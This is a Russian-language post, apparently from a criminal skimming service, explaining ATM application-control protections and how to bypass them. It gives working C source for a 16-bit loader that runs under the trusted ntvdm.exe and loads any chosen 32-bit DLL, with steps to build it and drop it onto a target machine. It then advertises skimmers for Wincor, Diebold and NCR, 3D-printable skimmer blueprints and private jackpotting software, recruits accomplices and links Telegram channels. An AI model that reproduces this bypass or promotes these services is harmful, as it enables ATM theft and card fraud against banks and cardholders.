July 14, 2022

Как устроена защита банкоматов и один из способов ее обойти.

Сегодня рассказываем о защите банкоматов и банкомато-подобных устройст, а также способе ее обхода. Как, возможно, Вы знаете, на такие устройства ставят различного рода системы, от дремучих до последних версий десятки. В системе работает ряд приложений банковской направленности, и защита, разумеется. Имя этой защите — Application Control.

Проверка приложений осуществляется по признакам:
✔️ путь к исполняемому файлу;
✔️ контрольная сумма;
✔️ криптографическая подпись;
✔️ белый/черный список;
✔️ позволение использования только файлов с определёнными расширениями.

Эти способы используются, дополняя друг друга. Теперь о методах их обходов:
✔️ выполнение из-под доверенных приложений;
✔️ одинаковые контрольные суммы;
✔️ подмена DLL.

Хотелось бы уточнить, почему в начале мы использовали выражение «банкомато-подобные», — это возможность использования Application Control не только на банкоматах, что логично. Теперь к той части поста, который расскажет об обходе системы. Задействуем способ с выполнением из-под приложения, являющегося доверенным, в нашем случае это ntvdm.exe. В современных x86-системах Windows в контексте ntvdm можно исполнить 16-ти разрядное приложение. Нужно поднять виртуалку на Windows 95 и установить туда Microsoft Visual C 1.52c — последнюю версию, которая поддерживала сборку 16bit приложений:

<Windows.h> DECLARE_HANDLE32(HPROC32); DECLARE_HANDLE32(HINSTANCE32);

int main(int argc, char** argv) { HMODULE hModule; HINSTANCE32 hDll; HINSTANCE32 (WINAPI *LoadLibraryEx32W) (LPCSTR, DWORD, DWORD); BOOL (WINAPI *FreeLibrary32W) (HINSTANCE32); printf("begin" "\n"); if(argc != 2) { printf("Usage: loader.exe my.dll" "\n"); return 1; } hModule = GetModuleHandle("KERNEL"); if(!hModule) { printf("GetModuleHandle - %08X" "\n", hModule); return 1; } (FARPROC) LoadLibraryEx32W = GetProcAddress(hModule, "LoadLibraryEx32W"); (FARPROC) FreeLibrary32W = GetProcAddress(hModule, "FreeLibrary32W"); if(!LoadLibraryEx32W || !FreeLibrary32W) { printf("GetProcAddress - %08X, %08X" "\n", LoadLibraryEx32W,FreeLibrary32W); return 1; } hDll = LoadLibraryEx32W(argv[1], 0, 0); if(!hDll) { printf("LoadLibraryEx32W - %08X" "\n", hDll); return 1; } getchar(); FreeLibrary32W(hDll); printf("end" "\n"); return 0; }

Далее необходимо собрать это в исполняемый файл. Выбираем формат QuickWin, так как он не требует создания проекта. Получившийся файл скидывается на целевую систему и запускается, в качестве аргумента дается имя 32bit динамической библиотеки, которая должна находиться в той же папке. Это может быть любая библиотека — от выводящей Hello World до чего угодно.

Все для работы с банкоматом:

скиммеры для Wincor, Diebold, NCR.

Возможна так же индивидуальная разработка и продажа чертежей, в том числе адаптированных для печати на 3D принтерах.

ПРИВАТНЫЙ СОФТ ( Jackpotting)

В команду нужны люди в разных странах


Наши официальные каналы:
English: https://t.me/skimmingserv
Russian: https://t.me/skimmingservice